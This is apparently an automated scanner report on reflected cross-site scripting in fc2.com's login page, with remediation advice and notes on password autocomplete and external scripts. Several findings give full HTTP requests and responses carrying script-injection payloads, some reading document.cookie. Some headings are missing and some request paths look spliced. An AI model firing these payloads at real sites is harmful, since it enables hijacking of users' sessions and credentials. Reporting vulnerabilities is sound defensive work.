Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://fc2.com/en/login.php [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://fc2.com
Path:
/en/login.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff7d4"><script>alert(1)</script>0b77840055 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7802"><script>alert(1)</script>16e74474a5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/login.php/f7802"><script>alert(1)</script>16e74474a5/loginform.js HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:43:51 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7629 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... <option value="/en/login.php/f7802"><script>alert(1)</script>16e74474a5/loginform.js"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e5b1b%3balert(1)//06586439ac6 was submitted in the REST URL parameter 3. This input was echoed as e5b1b;alert(1)//06586439ac6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3Ce5b1b%3balert(1)//06586439ac6/loginform.js HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:43:51 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7652 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... <e5b1b;alert(1)//06586439ac6/loginform.js"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 6a109%3balert(1)//0409a5a9ddb was submitted in the REST URL parameter 4. This input was echoed as 6a109;alert(1)//0409a5a9ddb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js6a109%3balert(1)//0409a5a9ddb HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:43:51 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7642 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... </loginform.js6a109;alert(1)//0409a5a9ddb"> ...[SNIP]...
1.5. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b3624(a)bea811f3018 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js?b3624(a)bea811f3018=1 HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:43:50 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7845 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... <option value="/loginform.js?b3624(a)bea811f3018=1"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10560"><script>alert(1)</script>d51bb5eddd2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/login.php/10560"><script>alert(1)</script>d51bb5eddd2/loginform.js HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:44:10 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7630 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... <option value="/en/login.php/10560"><script>alert(1)</script>d51bb5eddd2/loginform.js"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload df5a1%3balert(1)//95918fed0f4 was submitted in the REST URL parameter 3. This input was echoed as df5a1;alert(1)//95918fed0f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3Cdf5a1%3balert(1)//95918fed0f4/loginform.js HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:44:10 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7654 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... <df5a1;alert(1)//95918fed0f4/loginform.js"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f7555%3balert(1)//9c5970f9b80 was submitted in the REST URL parameter 4. This input was echoed as f7555;alert(1)//9c5970f9b80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.jsf7555%3balert(1)//9c5970f9b80 HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:44:11 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7644 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... </loginform.jsf7555;alert(1)//9c5970f9b80"> ...[SNIP]...
1.9. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 123b8(a)44522e6bfa4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js?123b8(a)44522e6bfa4=1 HTTP/1.1 Host: fc2.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055
Response
HTTP/1.1 200 OK Date: Mon, 15 Aug 2011 16:44:10 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1 X-Powered-By: PHP/4.4.9 Content-Length: 7847 Connection: close Content-Type: text/html Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf- ...[SNIP]... <option value="/loginform.js?123b8(a)44522e6bfa4=1"> ...[SNIP]...
2. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://fc2.com
Path:
/en/login.php
Issue detail
The page contains a form with the following action URL:
The form contains the following password field with autocomplete enabled:
pass
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.